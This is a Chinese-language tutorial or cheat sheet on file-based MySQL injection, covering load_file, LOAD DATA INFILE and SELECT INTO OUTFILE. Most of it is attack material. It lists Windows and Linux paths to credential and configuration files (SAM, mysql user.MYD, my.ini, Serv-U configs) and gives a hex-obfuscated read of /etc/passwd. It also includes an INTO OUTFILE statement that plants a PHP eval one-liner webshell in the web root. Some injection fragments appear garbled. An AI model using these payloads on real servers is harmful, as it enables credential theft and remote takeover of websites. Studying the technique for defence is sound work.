文件型注入

本文参考博客:https://blog.csdn.net/Kevinhanser/article/details/81592478?ops_request_misc=&request_id=&biz_id=102&utm_term=%E5%AF%BC%E5%85%A5%E6%96%87%E4%BB%B6%E5%9E%8B%E6%B3%A8%E5%85%A5&utm_medium=distribute.pc_search_result.none-task-blog-2allsobaiduweb~default-0-81592478.142^v88^koosearch_v1,239^v2^insert_chatgpt&spm=1018.2226.3001.4187

一、基本思路

1.通过使用load_file导出访问dnslog平台; 2.通过hex()对查看的@@basedir mysql的安装目录进行16进制转换,避免url显示不出特殊符号; 【注:因为url长度有限使用substr()函数截取函数分段显示然后再拼接一起查看】

二、基础函数

1.load_file(file_name):读取文件并返回该文件的内容作为一个字符串。【相当于导出文件】 使用条件: (1)文件必须有读写的权限

1
2
and (select count() from mysql.user)>0/ 如果结果返回正常,说明具有读写权限。
and (select count() from mysql.user)>0/ 返回错误,应该是管理员给数据库帐户降权

(2)读取的文件在服务器上 (3)待读取文件大小要小于 max_allowed_packet

MySQL注入load_file常用路径 (1)Windows下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
 c:/boot.ini 										//查看系统版本
 c:/windows/php.ini 									//php配置信息
 c:/windows/my.ini 									//MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码
 c:/winnt/php.ini
 c:/winnt/my.ini
 c:\mysql\data\mysql\user.MYD 						//存储了mysql.user表中的数据库连接密码
 c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini	//存储了虚拟主机网站路径和密码
 c:\Program Files\Serv-U\ServUDaemon.ini
 c:\windows\system32\inetsrv\MetaBase.xml			//查看IIS的虚拟主机配置
 c:\windows\repair\sam								//存储了WINDOWS系统初次安装的密码
 c:\Program Files\ Serv-U\ServUAdmin.exe				//6.0版本以前的serv-u管理员密码存储于此
 c:\Program Files\RhinoSoft.com\ServUDaemon.exe		
 C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件											//存储了pcAnywhere的登陆密码
 c:\Program Files\Apache Group\Apache\conf\httpd.conf 或C:\apache\conf\httpd.conf											//查看WINDOWS系统apache文件
 c:/Resin-3.0.14/conf/resin.conf						//查看jsp开发的网站 resin												//文件配置信息.
 c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf	//查看linux系统配置的JSP虚拟主机
 d:\APACHE\Apache2\conf\httpd.conf
 C:\Program Files\mysql\my.ini
 C:\mysql\data\mysql\user.MYD						//存在MYSQL系统中的用户密码

(2)Linux下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
 /usr/local/app/apache2/conf/httpd.conf 				//apache2缺省配置文件
 /usr/local/apache2/conf/httpd.conf
 /usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
 /usr/local/app/php5/lib/php.ini 					//PHP相关设置
 /etc/sysconfig/iptables 							//从中得到防火墙规则策略
 /etc/httpd/conf/httpd.conf 							// apache配置文件
 /etc/rsyncd.conf 									//同步程序配置文件
 /etc/my.cnf 										//mysql的配置文件
 /etc/redhat-release									//系统版本
 /etc/issue
 /etc/issue.net
 /usr/local/app/php5/lib/php.ini 					//PHP相关设置
 /usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
 /etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf //查看linux APACHE虚拟主机配置文件
 /usr/local/resin-3.0.22/conf/resin.conf 				//针对3.0.22RESIN配置文件查看
 /usr/local/resin-pro-3.0.22/conf/resin.conf 			//针对3.0.22RESIN配置文件查看
 /usr/local/app/apache2/conf/extra/httpd-vhosts.conf 	//APASHE虚拟主机查看
 /etc/httpd/conf/httpd.conf或/usr/local/apche/conf /httpd.conf //查看linux APACHE虚拟主机配置文件
 /usr/local/resin-3.0.22/conf/resin.conf 				//针对3.0.22RESIN配置文件查看
 /usr/local/resin-pro-3.0.22/conf/resin.conf 同上
 /usr/local/app/apache2/conf/extra/httpd-vhosts.conf	//APASHE虚拟主机查看
 /etc/sysconfig/iptables								//查看防火墙策略
 load_file(char(47))									//可以列出FreeBSD,Sunos系统根目录
 replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
 replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))

2.LOAD DATA INFILE :高速地从一个文本文件中读取行,并装入一个表中。文件名称必须为一个文字字符串。【相当于把文件导入数据库】 例:

1
load data infile /tmp/t0.txt ignore into table t0 character set gbk fields terminated by '\t’lines terminated by ‘\n

将 /tmp/t0.txt 导入到 t0 表中,character set gbk 是字符集设置为 gbk,fields terminated by 是每一项数据之间的分隔符,lines terminated by 是行的结尾符。当错误代码是 2 的时候的时候,文件不存在,错误代码为 13 的时候是没有权限,可以考虑 /tmp 等文件夹。

3.SELECT…..INTO OUTFILE ‘file_name’:把被选择的行写入一个文件中【向文件中导入】 形式: (1)直接将 select 内容导入到文件中

1
select version() into outfile "c:\\phpnow\\htdocs\\test.php"

或者换成一句话木马

1
select <?php @eval($_post["mima"])?> into outfile "c:\\phpnow\\htdocs\\test.php"

(2)修改文件结尾

1
select version() Into outfile "c:\\phpnow\\htdocs\\test.php" LINES TERMINATED BY 0x16 进制文件

通常是用 ‘\r\n’ 结尾,此处我们修改为自己想要的任何文件。同时可以用FIELDSTERMINATED BY 其中,16 进制可以为一句话或者其他任何的代码,可自行构造

注: 根据环境,在文件路径当中要注意转义 当前台无法导出数据的时候,我们可以利用下面的语句

1
 select load_file('c:\\wamp\\bin\\mysql\\mysql5.6.17\\my.ini')into outfile 'c:\\wamp\\www\\test.php'

利用该语句将服务器当中的内容导入到 web 服务器下的目录,这样就可以得到数据了。上述 my.ini 当中存在 password 项(不过默认被注释),当然会有很多的内容可以被导出来

4.@@basedir:显示mysql的安装目录 5.@@datadir:显示mysql的数据目录 6.substr(字符串,字符串的起始值,截取的长度):截取字符串 7.hex():16进制转换

0%